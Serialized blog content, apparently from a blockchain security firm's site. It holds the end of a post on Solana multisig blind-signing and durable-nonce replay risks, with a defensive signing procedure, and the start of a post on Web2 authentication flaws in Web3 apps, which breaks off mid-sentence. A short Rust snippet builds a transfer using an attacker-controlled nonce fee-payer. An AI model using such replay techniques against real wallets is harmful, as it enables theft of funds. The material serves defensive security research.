:69668,"children":69669},{"style":208},[69670],{"type":31,"value":4508},{"type":25,"tag":201,"props":69672,"children":69673},{"style":246},[69674],{"type":31,"value":69675}," last_blockhash",{"type":25,"tag":201,"props":69677,"children":69678},{"style":261},[69679],{"type":31,"value":413},{"type":25,"tag":201,"props":69681,"children":69682},{"style":246},[69683],{"type":31,"value":69172},{"type":25,"tag":201,"props":69685,"children":69686},{"style":261},[69687],{"type":31,"value":80},{"type":25,"tag":201,"props":69689,"children":69690},{"style":214},[69691],{"type":31,"value":69692},"last_hash",{"type":25,"tag":201,"props":69694,"children":69695},{"style":220},[69696],{"type":31,"value":1985},{"type":25,"tag":201,"props":69698,"children":69699},{"class":203,"line":278},[69700,69704,69709,69713,69718,69722,69727,69731,69735,69740],{"type":25,"tag":201,"props":69701,"children":69702},{"style":208},[69703],{"type":31,"value":4508},{"type":25,"tag":201,"props":69705,"children":69706},{"style":246},[69707],{"type":31,"value":69708}," next_durable_nonce",{"type":25,"tag":201,"props":69710,"children":69711},{"style":261},[69712],{"type":31,"value":413},{"type":25,"tag":201,"props":69714,"children":69715},{"style":4925},[69716],{"type":31,"value":69717}," DurableNonce",{"type":25,"tag":201,"props":69719,"children":69720},{"style":261},[69721],{"type":31,"value":4988},{"type":25,"tag":201,"props":69723,"children":69724},{"style":214},[69725],{"type":31,"value":69726},"from_blockhash",{"type":25,"tag":201,"props":69728,"children":69729},{"style":220},[69730],{"type":31,"value":298},{"type":25,"tag":201,"props":69732,"children":69733},{"style":261},[69734],{"type":31,"value":4615},{"type":25,"tag":201,"props":69736,"children":69737},{"style":246},[69738],{"type":31,"value":69739},"last_blockhash",{"type":25,"tag":201,"props":69741,"children":69742},{"style":220},[69743],{"type":31,"value":308},{"type":25,"tag":34,"props":69745,"children":69746},{},[69747,69749,69754],{"type":31,"value":69748},"This has an important consequence for our threat model. Unlike recent blockhash transactions, durable nonce transactions ",{"type":25,"tag":65,"props":69750,"children":69751},{},[69752],{"type":31,"value":69753},"can",{"type":31,"value":69755}," be saved and reused.",{"type":25,"tag":26,"props":69757,"children":69759},{"id":69758},"threat-model",[69760],{"type":31,"value":69761},"Threat Model",{"type":25,"tag":34,"props":69763,"children":69764},{},[69765],{"type":31,"value":69766},"Let's consider a simplified form of the original question.",{"type":25,"tag":6944,"props":69768,"children":69769},{},[69770,69775,69780],{"type":25,"tag":6948,"props":69771,"children":69772},{},[69773],{"type":31,"value":69774},"We have a N/M multisig",{"type":25,"tag":6948,"props":69776,"children":69777},{},[69778],{"type":31,"value":69779},"Signers are unable to see what they're signing, both with respect to content and quantity of signatures. This is roughly equivalent to blind signing transactions.",{"type":25,"tag":6948,"props":69781,"children":69782},{},[69783],{"type":31,"value":69784},"We can accurately query chain state.",{"type":25,"tag":34,"props":69786,"children":69787},{},[69788],{"type":31,"value":69789},"Can we safely sign transactions?",{"type":25,"tag":34,"props":69791,"children":69792},{},[69793],{"type":31,"value":69794},"One observation is that this problem is very hard to solve with durable nonces. By signing durable nonce transactions, an attacker could collect signatures and replay them at some indeterminite future point.",{"type":25,"tag":34,"props":69796,"children":69797},{},[69798,69800,69806,69808,69815],{"type":31,"value":69799},"Durable nonces require an onchain account, and it's possible to use a ",{"type":25,"tag":115,"props":69801,"children":69803},{"className":69802},[],[69804],{"type":31,"value":69805},"getProgramAccounts",{"type":31,"value":69807}," call to validate if your signer ",{"type":25,"tag":71,"props":69809,"children":69812},{"href":69810,"rel":69811},"https://solana.stackexchange.com/questions/9650/is-there-any-way-to-get-nonce-accounts-of-an-authorized-account",[75],[69813],{"type":31,"value":69814},"has an associated durable nonce",{"type":31,"value":80},{"type":25,"tag":191,"props":69817,"children":69819},{"className":37000,"code":69818,"language":37002,"meta":7,"style":7},"const connection = new Connection(clusterApiUrl('testnet'));\nconst nonceAccounts = await connection.getProgramAccounts(\n  // The system program owns all nonce accounts.\n  SYSTEM_PROGRAM_ADDRESS,\n  {\n    filters: [\n      {\n        // Nonce accounts are exactly 80 bytes long\n        dataSize: 80,\n      },\n      {\n        // The authority's 32-byte public key is written\n        // into bytes 8-40 of the nonce's account data.\n        memcmp: {\n          bytes: AUTHORITY_PUBLIC_KEY.toBase58(),\n          offset: 8,\n        },\n      },\n    ],\n  }\n);\n",[69820],{"type":25,"tag":115,"props":69821,"children":69822},{"__ignoreMap":7},[69823,69870,69906,69914,69926,69934,69946,69954,69962,69979,69986,69993,70001,70009,70021,70047,70064,70071,70078,70086,70093],{"type":25,"tag":201,"props":69824,"children":69825},{"class":203,"line":204},[69826,69830,69835,69839,69843,69848,69852,69857,69861,69866],{"type":25,"tag":201,"props":69827,"children":69828},{"style":208},[69829],{"type":31,"value":4074},{"type":25,"tag":201,"props":69831,"children":69832},{"style":246},[69833],{"type":31,"value":69834}," connection",{"type":25,"tag":201,"props":69836,"children":69837},{"style":261},[69838],{"type":31,"value":413},{"type":25,"tag":201,"props":69840,"children":69841},{"style":208},[69842],{"type":31,"value":828},{"type":25,"tag":201,"props":69844,"children":69845},{"style":214},[69846],{"type":31,"value":69847}," Connection",{"type":25,"tag":201,"props":69849,"children":69850},{"style":220},[69851],{"type":31,"value":298},{"type":25,"tag":201,"props":69853,"children":69854},{"style":214},[69855],{"type":31,"value":69856},"clusterApiUrl",{"type":25,"tag":201,"props":69858,"children":69859},{"style":220},[69860],{"type":31,"value":298},{"type":25,"tag":201,"props":69862,"children":69863},{"style":267},[69864],{"type":31,"value":69865},"'testnet'",{"type":25,"tag":201,"props":69867,"children":69868},{"style":220},[69869],{"type":31,"value":8732},{"type":25,"tag":201,"props":69871,"children":69872},{"class":203,"line":226},[69873,69877,69882,69886,69890,69894,69898,69902],{"type":25,"tag":201,"props":69874,"children":69875},{"style":208},[69876],{"type":31,"value":4074},{"type":25,"tag":201,"props":69878,"children":69879},{"style":246},[69880],{"type":31,"value":69881}," nonceAccounts",{"type":25,"tag":201,"props":69883,"children":69884},{"style":261},[69885],{"type":31,"value":413},{"type":25,"tag":201,"props":69887,"children":69888},{"style":230},[69889],{"type":31,"value":37281},{"type":25,"tag":201,"props":69891,"children":69892},{"style":246},[69893],{"type":31,"value":69834},{"type":25,"tag":201,"props":69895,"children":69896},{"style":220},[69897],{"type":31,"value":80},{"type":25,"tag":201,"props":69899,"children":69900},{"style":214},[69901],{"type":31,"value":69805},{"type":25,"tag":201,"props":69903,"children":69904},{"style":220},[69905],{"type":31,"value":4970},{"type":25,"tag":201,"props":69907,"children":69908},{"class":203,"line":278},[69909],{"type":25,"tag":201,"props":69910,"children":69911},{"style":4497},[69912],{"type":31,"value":69913},"  // The system program owns all nonce accounts.\n",{"type":25,"tag":201,"props":69915,"children":69916},{"class":203,"line":311},[69917,69922],{"type":25,"tag":201,"props":69918,"children":69919},{"style":246},[69920],{"type":31,"value":69921},"  SYSTEM_PROGRAM_ADDRESS",{"type":25,"tag":201,"props":69923,"children":69924},{"style":220},[69925],{"type":31,"value":547},{"type":25,"tag":201,"props":69927,"children":69928},{"class":203,"line":330},[69929],{"type":25,"tag":201,"props":69930,"children":69931},{"style":220},[69932],{"type":31,"value":69933},"  {\n",{"type":25,"tag":201,"props":69935,"children":69936},{"class":203,"line":397},[69937,69942],{"type":25,"tag":201,"props":69938,"children":69939},{"style":246},[69940],{"type":31,"value":69941},"    filters:",{"type":25,"tag":201,"props":69943,"children":69944},{"style":220},[69945],{"type":31,"value":519},{"type":25,"tag":201,"props":69947,"children":69948},{"class":203,"line":437},[69949],{"type":25,"tag":201,"props":69950,"children":69951},{"style":220},[69952],{"type":31,"value":69953},"      {\n",{"type":25,"tag":201,"props":69955,"children":69956},{"class":203,"line":464},[69957],{"type":25,"tag":201,"props":69958,"children":69959},{"style":4497},[69960],{"type":31,"value":69961},"        // Nonce accounts are exactly 80 bytes long\n",{"type":25,"tag":201,"props":69963,"children":69964},{"class":203,"line":490},[69965,69970,69975],{"type":25,"tag":201,"props":69966,"children":69967},{"style":246},[69968],{"type":31,"value":69969},"        dataSize:",{"type":25,"tag":201,"props":69971,"children":69972},{"style":426},[69973],{"type":31,"value":69974}," 80",{"type":25,"tag":201,"props":69976,"children":69977},{"style":220},[69978],{"type":31,"value":547},{"type":25,"tag":201,"props":69980,"children":69981},{"class":203,"line":499},[69982],{"type":25,"tag":201,"props":69983,"children":69984},{"style":220},[69985],{"type":31,"value":38269},{"type":25,"tag":201,"props":69987,"children":69988},{"class":203,"line":522},[69989],{"type":25,"tag":201,"props":69990,"children":69991},{"style":220},[69992],{"type":31,"value":69953},{"type":25,"tag":201,"props":69994,"children":69995},{"class":203,"line":531},[69996],{"type":25,"tag":201,"props":69997,"children":69998},{"style":4497},[69999],{"type":31,"value":70000},"        // The authority's 32-byte public key is written\n",{"type":25,"tag":201,"props":70002,"children":70003},{"class":203,"line":550},[70004],{"type":25,"tag":201,"props":70005,"children":70006},{"style":4497},[70007],{"type":31,"value":70008},"        // into bytes 8-40 of the nonce's account data.\n",{"type":25,"tag":201,"props":70010,"children":70011},{"class":203,"line":563},[70012,70017],{"type":25,"tag":201,"props":70013,"children":70014},{"style":246},[70015],{"type":31,"value":70016},"        memcmp:",{"type":25,"tag":201,"props":70018,"children":70019},{"style":220},[70020],{"type":31,"value":327},{"type":25,"tag":201,"props":70022,"children":70023},{"class":203,"line":572},[70024,70029,70034,70038,70043],{"type":25,"tag":201,"props":70025,"children":70026},{"style":246},[70027],{"type":31,"value":70028},"          bytes:",{"type":25,"tag":201,"props":70030,"children":70031},{"style":246},[70032],{"type":31,"value":70033}," AUTHORITY_PUBLIC_KEY",{"type":25,"tag":201,"props":70035,"children":70036},{"style":220},[70037],{"type":31,"value":80},{"type":25,"tag":201,"props":70039,"children":70040},{"style":214},[70041],{"type":31,"value":70042},"toBase58",{"type":25,"tag":201,"props":70044,"children":70045},{"style":220},[70046],{"type":31,"value":1104},{"type":25,"tag":201,"props":70048,"children":70049},{"class":203,"line":590},[70050,70055,70060],{"type":25,"tag":201,"props":70051,"children":70052},{"style":246},[70053],{"type":31,"value":70054},"          offset:",{"type":25,"tag":201,"props":70056,"children":70057},{"style":426},[70058],{"type":31,"value":70059}," 8",{"type":25,"tag":201,"props":70061,"children":70062},{"style":220},[70063],{"type":31,"value":547},{"type":25,"tag":201,"props":70065,"children":70066},{"class":203,"line":608},[70067],{"type":25,"tag":201,"props":70068,"children":70069},{"style":220},[70070],{"type":31,"value":789},{"type":25,"tag":201,"props":70072,"children":70073},{"class":203,"line":617},[70074],{"type":25,"tag":201,"props":70075,"children":70076},{"style":220},[70077],{"type":31,"value":38269},{"type":25,"tag":201,"props":70079,"children":70080},{"class":203,"line":625},[70081],{"type":25,"tag":201,"props":70082,"children":70083},{"style":220},[70084],{"type":31,"value":70085},"    ],\n",{"type":25,"tag":201,"props":70087,"children":70088},{"class":203,"line":642},[70089],{"type":25,"tag":201,"props":70090,"children":70091},{"style":220},[70092],{"type":31,"value":1178},{"type":25,"tag":201,"props":70094,"children":70095},{"class":203,"line":659},[70096],{"type":25,"tag":201,"props":70097,"children":70098},{"style":220},[70099],{"type":31,"value":308},{"type":25,"tag":34,"props":70101,"children":70102},{},[70103,70105,70113],{"type":31,"value":70104},"Unfortunately this is not sufficient",{"type":25,"tag":16970,"props":70106,"children":70107},{},[70108],{"type":25,"tag":71,"props":70109,"children":70111},{"href":31107,"ariaDescribedBy":70110,"dataFootnoteRef":7,"id":31109},[16977],[70112],{"type":31,"value":5516},{"type":31,"value":70114},". A transaction may have multiple signers, and an attacker could use their own durable nonce fee-payer. This means our problem as defined above is unfortunately unsolvable.",{"type":25,"tag":191,"props":70116,"children":70118},{"className":4487,"code":70117,"language":4486,"meta":7,"style":7},"    let instruction = system_instruction::transfer(&from, &ledger_base_pubkey, 42);\n    let message =\n        Message::new_with_nonce(vec![instruction], Some(&evil_nonce_authority), &nonce_account, &evil_nonce_authority)\n            .serialize();\n",[70119],{"type":25,"tag":115,"props":70120,"children":70121},{"__ignoreMap":7},[70122,70188,70204,70287],{"type":25,"tag":201,"props":70123,"children":70124},{"class":203,"line":204},[70125,70129,70133,70137,70142,70146,70150,70154,70158,70162,70166,70170,70175,70179,70184],{"type":25,"tag":201,"props":70126,"children":70127},{"style":208},[70128],{"type":31,"value":4508},{"type":25,"tag":201,"props":70130,"children":70131},{"style":246},[70132],{"type":31,"value":44443},{"type":25,"tag":201,"props":70134,"children":70135},{"style":261},[70136],{"type":31,"value":413},{"type":25,"tag":201,"props":70138,"children":70139},{"style":220},[70140],{"type":31,"value":70141}," system_instruction",{"type":25,"tag":201,"props":70143,"children":70144},{"style":261},[70145],{"type":31,"value":4988},{"type":25,"tag":201,"props":70147,"children":70148},{"style":214},[70149],{"type":31,"value":1027},{"type":25,"tag":201,"props":70151,"children":70152},{"style":220},[70153],{"type":31,"value":298},{"type":25,"tag":201,"props":70155,"children":70156},{"style":261},[70157],{"type":31,"value":4615},{"type":25,"tag":201,"props":70159,"children":70160},{"style":246},[70161],{"type":31,"value":20972},{"type":25,"tag":201,"props":70163,"children":70164},{"style":220},[70165],{"type":31,"value":919},{"type":25,"tag":201,"props":70167,"children":70168},{"style":261},[70169],{"type":31,"value":4615},{"type":25,"tag":201,"props":70171,"children":70172},{"style":246},[70173],{"type":31,"value":70174},"ledger_base_pubkey",{"type":25,"tag":201,"props":70176,"children":70177},{"style":220},[70178],{"type":31,"value":919},{"type":25,"tag":201,"props":70180,"children":70181},{"style":426},[70182],{"type":31,"value":70183},"42",{"type":25,"tag":201,"props":70185,"children":70186},{"style":220},[70187],{"type":31,"value":308},{"type":25,"tag":201,"props":70189,"children":70190},{"class":203,"line":226},[70191,70195,70200],{"type":25,"tag":201,"props":70192,"children":70193},{"style":208},[70194],{"type":31,"value":4508},{"type":25,"tag":201,"props":70196,"children":70197},{"style":246},[70198],{"type":31,"value":70199}," message",{"type":25,"tag":201,"props":70201,"children":70202},{"style":261},[70203],{"type":31,"value":36925},{"type":25,"tag":201,"props":70205,"children":70206},{"class":203,"line":278},[70207,70212,70216,70221,70225,70229,70233,70237,70241,70245,70249,70253,70258,70262,70266,70271,70275,70279,70283],{"type":25,"tag":201,"props":70208,"children":70209},{"style":4925},[70210],{"type":31,"value":70211},"        Message",{"type":25,"tag":201,"props":70213,"children":70214},{"style":261},[70215],{"type":31,"value":4988},{"type":25,"tag":201,"props":70217,"children":70218},{"style":214},[70219],{"type":31,"value":70220},"new_with_nonce",{"type":25,"tag":201,"props":70222,"children":70223},{"style":220},[70224],{"type":31,"value":298},{"type":25,"tag":201,"props":70226,"children":70227},{"style":214},[70228],{"type":31,"value":5378},{"type":25,"tag":201,"props":70230,"children":70231},{"style":220},[70232],{"type":31,"value":423},{"type":25,"tag":201,"props":70234,"children":70235},{"style":246},[70236],{"type":31,"value":44753},{"type":25,"tag":201,"props":70238,"children":70239},{"style":220},[70240],{"type":31,"value":1930},{"type":25,"tag":201,"props":70242,"children":70243},{"style":4925},[70244],{"type":31,"value":43092},{"type":25,"tag":201,"props":70246,"children":70247},{"style":220},[70248],{"type":31,"value":298},{"type":25,"tag":201,"props":70250,"children":70251},{"style":261},[70252],{"type":31,"value":4615},{"type":25,"tag":201,"props":70254,"children":70255},{"style":246},[70256],{"type":31,"value":70257},"evil_nonce_authority",{"type":25,"tag":201,"props":70259,"children":70260},{"style":220},[70261],{"type":31,"value":16674},{"type":25,"tag":201,"props":70263,"children":70264},{"style":261},[70265],{"type":31,"value":4615},{"type":25,"tag":201,"props":70267,"children":70268},{"style":246},[70269],{"type":31,"value":70270},"nonce_account",{"type":25,"tag":201,"props":70272,"children":70273},{"style":220},[70274],{"type":31,"value":919},{"type":25,"tag":201,"props":70276,"children":70277},{"style":261},[70278],{"type":31,"value":4615},{"type":25,"tag":201,"props":70280,"children":70281},{"style":246},[70282],{"type":31,"value":70257},{"type":25,"tag":201,"props":70284,"children":70285},{"style":220},[70286],{"type":31,"value":4666},{"type":25,"tag":201,"props":70288,"children":70289},{"class":203,"line":311},[70290,70294,70299],{"type":25,"tag":201,"props":70291,"children":70292},{"style":261},[70293],{"type":31,"value":4674},{"type":25,"tag":201,"props":70295,"children":70296},{"style":214},[70297],{"type":31,"value":70298},"serialize",{"type":25,"tag":201,"props":70300,"children":70301},{"style":220},[70302],{"type":31,"value":1985},{"type":25,"tag":34,"props":70304,"children":70305},{},[70306,70308,70315],{"type":31,"value":70307},"Luckily, it is tractable with a small modification. What if the signer is allowed to observe the fee-payer on the transaction? For example, Ledger ",{"type":25,"tag":71,"props":70309,"children":70312},{"href":70310,"rel":70311},"https://github.com/LedgerHQ/app-solana/blob/a19da6c301541390bd08731a10f1f128b38ee66e/src/handle_sign_message.c#L97",[75],[70313],{"type":31,"value":70314},"logs the fee-payer here",{"type":31,"value":80},{"type":25,"tag":191,"props":70317,"children":70319},{"className":18010,"code":70318,"language":4652,"meta":7,"style":7},"bool print_config_show_authority(const PrintConfig* print_config, const Pubkey* authority) {\n    return print_config->expert_mode || !pubkeys_equal(print_config->signer_pubkey, authority);\n}\n",[70320],{"type":25,"tag":115,"props":70321,"children":70322},{"__ignoreMap":7},[70323,70382,70438],{"type":25,"tag":201,"props":70324,"children":70325},{"class":203,"line":204},[70326,70330,70335,70339,70343,70348,70352,70357,70361,70365,70369,70373,70378],{"type":25,"tag":201,"props":70327,"children":70328},{"style":208},[70329],{"type":31,"value":31169},{"type":25,"tag":201,"props":70331,"children":70332},{"style":214},[70333],{"type":31,"value":70334}," print_config_show_authority",{"type":25,"tag":201,"props":70336,"children":70337},{"style":220},[70338],{"type":31,"value":298},{"type":25,"tag":201,"props":70340,"children":70341},{"style":208},[70342],{"type":31,"value":4074},{"type":25,"tag":201,"props":70344,"children":70345},{"style":220},[70346],{"type":31,"value":70347}," PrintConfig",{"type":25,"tag":201,"props":70349,"children":70350},{"style":261},[70351],{"type":31,"value":6077},{"type":25,"tag":201,"props":70353,"children":70354},{"style":246},[70355],{"type":31,"value":70356}," print_config",{"type":25,"tag":201,"props":70358,"children":70359},{"style":220},[70360],{"type":31,"value":919},{"type":25,"tag":201,"props":70362,"children":70363},{"style":208},[70364],{"type":31,"value":4074},{"type":25,"tag":201,"props":70366,"children":70367},{"style":220},[70368],{"type":31,"value":22352},{"type":25,"tag":201,"props":70370,"children":70371},{"style":261},[70372],{"type":31,"value":6077},{"type":25,"tag":201,"props":70374,"children":70375},{"style":246},[70376],{"type":31,"value":70377}," authority",{"type":25,"tag":201,"props":70379,"children":70380},{"style":220},[70381],{"type":31,"value":275},{"type":25,"tag":201,"props":70383,"children":70384},{"class":203,"line":226},[70385,70389,70393,70397,70402,70406,70410,70415,70419,70424,70428,70433],{"type":25,"tag":201,"props":70386,"children":70387},{"style":230},[70388],{"type":31,"value":18486},{"type":25,"tag":201,"props":70390,"children":70391},{"style":246},[70392],{"type":31,"value":70356},{"type":25,"tag":201,"props":70394,"children":70395},{"style":220},[70396],{"type":31,"value":15259},{"type":25,"tag":201,"props":70398,"children":70399},{"style":246},[70400],{"type":31,"value":70401},"expert_mode",{"type":25,"tag":201,"props":70403,"children":70404},{"style":261},[70405],{"type":31,"value":25192},{"type":25,"tag":201,"props":70407,"children":70408},{"style":261},[70409],{"type":31,"value":14366},{"type":25,"tag":201,"props":70411,"children":70412},{"style":214},[70413],{"type":31,"value":70414},"pubkeys_equal",{"type":25,"tag":201,"props":70416,"children":70417},{"style":220},[70418],{"type":31,"value":298},{"type":25,"tag":201,"props":70420,"children":70421},{"style":246},[70422],{"type":31,"value":70423},"print_config",{"type":25,"tag":201,"props":70425,"children":70426},{"style":220},[70427],{"type":31,"value":15259},{"type":25,"tag":201,"props":70429,"children":70430},{"style":246},[70431],{"type":31,"value":70432},"signer_pubkey",{"type":25,"tag":201,"props":70434,"children":70435},{"style":220},[70436],{"type":31,"value":70437},", authority);\n",{"type":25,"tag":201,"props":70439,"children":70440},{"class":203,"line":278},[70441],{"type":25,"tag":201,"props":70442,"children":70443},{"style":220},[70444],{"type":31,"value":1187},{"type":25,"tag":34,"props":70446,"children":70447},{},[70448],{"type":31,"value":70449},"Let's say we've determined our signer has no associated nonce accounts. If our pubkey is the fee-payer on the new proposed transaction, we can know for sure that the transaction does not use durable nonces!",{"type":25,"tag":34,"props":70451,"children":70452},{},[70453],{"type":31,"value":70454},"Without durable nonces, the problem becomes much easier to solve. After waiting enough time, there'll be a point where all previously signed transactions will be expired. If we see no unexpected transactions, that means we're safe.",{"type":25,"tag":34,"props":70456,"children":70457},{},[70458],{"type":31,"value":70459},"We can then use the following procedure.",{"type":25,"tag":6944,"props":70461,"children":70462},{},[70463,70468,70473,70478,70483],{"type":25,"tag":6948,"props":70464,"children":70465},{},[70466],{"type":31,"value":70467},"Ensure all signers have no durable nonce accounts.",{"type":25,"tag":6948,"props":70469,"children":70470},{},[70471],{"type":31,"value":70472},"The first signer signs and submits the transaction.",{"type":25,"tag":6948,"props":70474,"children":70475},{},[70476],{"type":31,"value":70477},"Wait two minutes for all recent blockhashes to expire.",{"type":25,"tag":6948,"props":70479,"children":70480},{},[70481],{"type":31,"value":70482},"Observe recent transactions associated with the signer to ensure nothing unexpected is submitted.",{"type":25,"tag":6948,"props":70484,"children":70485},{},[70486],{"type":31,"value":70487},"Repeat steps 2 to 4 for each signer",{"type":25,"tag":26,"props":70489,"children":70491},{"id":70490},"beyond",[70492],{"type":31,"value":70493},"Beyond",{"type":25,"tag":34,"props":70495,"children":70496},{},[70497],{"type":31,"value":70498},"Solana's signature model is unique. What can protocols do if they're deploying on blockchains without these unique properties? The most important constraint is observability. There must be a way you can see what you're signing, either while signing or implicitly after the fact.",{"type":25,"tag":34,"props":70500,"children":70501},{},[70502,70504,70511],{"type":31,"value":70503},"For example, pcaversaccio wrote a tool to ",{"type":25,"tag":71,"props":70505,"children":70508},{"href":70506,"rel":70507},"https://github.com/pcaversaccio/safe-tx-hashes-util",[75],[70509],{"type":31,"value":70510},"validate Safe transaction hashes",{"type":31,"value":70512},". As the space matures, we hope more open source tooling will come to light.",{"type":25,"tag":19920,"props":70514,"children":70516},{"className":70515,"dataFootnotes":7},[19923],[70517,70522],{"type":25,"tag":26,"props":70518,"children":70520},{"className":70519,"id":16977},[19928],[70521],{"type":31,"value":19931},{"type":25,"tag":6944,"props":70523,"children":70524},{},[70525],{"type":25,"tag":6948,"props":70526,"children":70527},{"id":31850},[70528,70530,70538,70540],{"type":31,"value":70529},"The original version of this blog post did not consider a malicious fee-payer. Thanks to ",{"type":25,"tag":71,"props":70531,"children":70535},{"href":70532,"rel":70533,":style":70534},"https://twitter.com/PierreArowana",[75],"color: #B1D0EE; text-decoration: underline;",[70536],{"type":31,"value":70537},"@PierreArowana",{"type":31,"value":70539}," for pointing this out to me. ",{"type":25,"tag":71,"props":70541,"children":70543},{"href":31878,"ariaLabel":20034,"className":70542,"dataFootnoteBackref":7},[20036],[70544],{"type":31,"value":20039},{"type":25,"tag":4349,"props":70546,"children":70547},{},[70548],{"type":31,"value":4353},{"title":7,"searchDepth":226,"depth":226,"links":70550},[70551,70555,70556,70557],{"id":68747,"depth":226,"text":68750,"children":70552},[70553,70554],{"id":68758,"depth":278,"text":68761},{"id":69037,"depth":278,"text":69040},{"id":69758,"depth":226,"text":69761},{"id":70490,"depth":226,"text":70493},{"id":16977,"depth":226,"text":19931},"content:blog:2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security",{"_path":70562,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":70563,"description":70564,"date":70565,"author":70566,"image":70567,"isFeatured":17,"onBlogPage":17,"tags":70569,"body":70570,"_type":4371,"_id":72268,"_source":4373,"_file":72269,"_stem":72270,"_extension":4376},"/blog/2025-03-07-subverting-web2-authentication-in-web3","Subverting Web2 Authentication in Web3","Web3 authentication uses cryptographic signatures and wallets, but Web2 auth integrations can introduce hidden risks. We explore vulnerabilities like OAuth logic exploits, Supabase misconfigurations, and OAuth abuse in localhost setups.","2025-03-07",[12,11],{"src":70568},"/posts/web2-in-web3/title.jpg",[1045],{"type":22,"children":70571,"toc":72250},[70572,70577,70582,70587,70613,70619,70624,70630,70651,70657,70662,70669,70682,70712,70718,70762,70769,70775,70808,70829,70837,70856,70863,70868,70874,70879,70884,70909,70914,70920,70926,70947,70953,70980,71008,71015,71020,71025,71370,71374,71396,71402,71423,71437,71450,71455,71471,71476,72205,72210,72215,72220,72232,72236,72241,72246],{"type":25,"tag":34,"props":70573,"children":70574},{},[70575],{"type":31,"value":70576},"Authentication serves as a cornerstone of secure interactions in Web3, enabling access control, user identity verification, and transaction integrity. Unlike traditional Web2 systems, which often rely on centralized databases and password-based mechanisms, Web3 systems adopt decentralized identifiers (DIDs), cryptographic signatures, and wallet-based authentication. However, there are many applications that still use Web2-based authentication providers to improve the user experience.",{"type":25,"tag":34,"props":70578,"children":70579},{},[70580],{"type":31,"value":70581},"In our research, we focused on Web3 applications that rely on Web2-based authentication methods. Specifically, we analyzed the authentication flows of these applications and identified a lesser-known class of vulnerabilities.",{"type":25,"tag":34,"props":70583,"children":70584},{},[70585],{"type":31,"value":70586},"In this article, we will discuss three cases we discovered:",{"type":25,"tag":6944,"props":70588,"children":70589},{},[70590,70595,70608],{"type":25,"tag":6948,"props":70591,"children":70592},{},[70593],{"type":31,"value":70594},"OAuth Logic Vulnerability on an Authentication Provider",{"type":25,"tag":6948,"props":70596,"children":70597},{},[70598,70600,70606],{"type":31,"value":70599},"Supabase ",{"type":25,"tag":115,"props":70601,"children":70603},{"className":70602},[],[70604],{"type":31,"value":70605},"user_metadata",{"type":31,"value":70607}," misconfiguration",{"type":25,"tag":6948,"props":70609,"children":70610},{},[70611],{"type":31,"value":70612},"OAuth abuse in localhost development environment",{"type":25,"tag":26,"props":70614,"children":70616},{"id":70615},"abusing-oauth-authentication-logic",[70617],{"type":31,"value":70618},"Abusing OAuth Authentication Logic",{"type":25,"tag":34,"props":70620,"children":70621},{},[70622],{"type":31,"value":70623},"During our research, we initially identified some bugs in applications. However, these were mostly simple and well-known issues, so we decided to focus on vulnerabilities within authentication providers themselves.",{"type":25,"tag":40,"props":70625,"children":70627},{"id":70626},"web3auth-introduction",[70628],{"type":31,"value":70629},"Web3Auth Introduction",{"type":25,"tag":34,"props":70631,"children":70632},{},[70633,70640,70642,70649],{"type":25,"tag":71,"props":70634,"children":70637},{"href":70635,"rel":70636},"https://web3auth.io/",[75],[70638],{"type":31,"value":70639},"Web3Auth",{"type":31,"value":70641}," is a tool designed to simplify the login process for Web3 applications, eliminating the need for users to manage complex wallet setups or memorize lengthy passwords. One of its products, Web3Auth PnP (Plug and Play), supports ",{"type":25,"tag":71,"props":70643,"children":70646},{"href":70644,"rel":70645},"https://oauth.net/2/",[75],[70647],{"type":31,"value":70648},"OAuth2",{"type":31,"value":70650}," authentication using Google. The product employs a sophisticated authentication flow and infrastructure to maintain seamless integration with dApps.",{"type":25,"tag":40,"props":70652,"children":70654},{"id":70653},"web3auth-authentication-flow",[70655],{"type":31,"value":70656},"Web3Auth Authentication flow",{"type":25,"tag":34,"props":70658,"children":70659},{},[70660],{"type":31,"value":70661},"The Web3Auth PnP authentication flow involves a web session server that stores authentication parameters and configurations. Below is a diagram illustrating how the authentication process works:",{"type":25,"tag":34,"props":70663,"children":70664},{},[70665],{"type":25,"tag":127,"props":70666,"children":70668},{"alt":51656,"src":70667},"/posts/web2-in-web3/auth-flow.png",[],{"type":25,"tag":34,"props":70670,"children":70671},{},[70672,70674,70680],{"type":31,"value":70673},"After the final redirect back to the dApp,  the application can use the secret token to authenticate with the service identified by the ",{"type":25,"tag":115,"props":70675,"children":70677},{"className":70676},[],[70678],{"type":31,"value":70679},"client_id",{"type":31,"value":70681},". This design ensures that you cannot use the token to authenticate against any unauthorized application.",{"type":25,"tag":34,"props":70683,"children":70684},{},[70685,70687,70693,70695,70701,70703,70710],{"type":31,"value":70686},"Additionally, it is important to note that each dApp has a whitelist of redirect URLs. The ",{"type":25,"tag":115,"props":70688,"children":70690},{"className":70689},[],[70691],{"type":31,"value":70692},"/start",{"type":31,"value":70694}," validates the ",{"type":25,"tag":115,"props":70696,"children":70698},{"className":70697},[],[70699],{"type":31,"value":70700},"redirect_url",{"type":31,"value":70702}," against the configured ",{"type":25,"tag":71,"props":70704,"children":70707},{"href":70705,"rel":70706},"https://web3auth.io/docs/dashboard-setup/whitelisting",[75],[70708],{"type":31,"value":70709},"whitelist",{"type":31,"value":70711}," to ensure it matches one of the allowed URLs.",{"type":25,"tag":40,"props":70713,"children":70715},{"id":70714},"in-transit-cryptography",[70716],{"type":31,"value":70717},"In-transit Cryptography",{"type":25,"tag":34,"props":70719,"children":70720},{},[70721,70723,70730,70732,70738,70740,70746,70748,70753,70755,70760],{"type":31,"value":70722},"The session server employs cryptography to securely send and receive authentication parameters. The ",{"type":25,"tag":71,"props":70724,"children":70727},{"href":70725,"rel":70726},"https://en.wikipedia.org/wiki/Key_(cryptography)",[75],[70728],{"type":31,"value":70729},"cryptographic key",{"type":31,"value":70731}," is derived from the ",{"type":25,"tag":115,"props":70733,"children":70735},{"className":70734},[],[70736],{"type":31,"value":70737},"sessionId",{"type":31,"value":70739},"  sent in the ",{"type":25,"tag":115,"props":70741,"children":70743},{"className":70742},[],[70744],{"type":31,"value":70745},"GET",{"type":31,"value":70747}," parameter to the ",{"type":25,"tag":115,"props":70749,"children":70751},{"className":70750},[],[70752],{"type":31,"value":70692},{"type":31,"value":70754},". Since the ",{"type":25,"tag":115,"props":70756,"children":70758},{"className":70757},[],[70759],{"type":31,"value":70737},{"type":31,"value":70761}," can be controlled, it allows us to send and receive data from the session 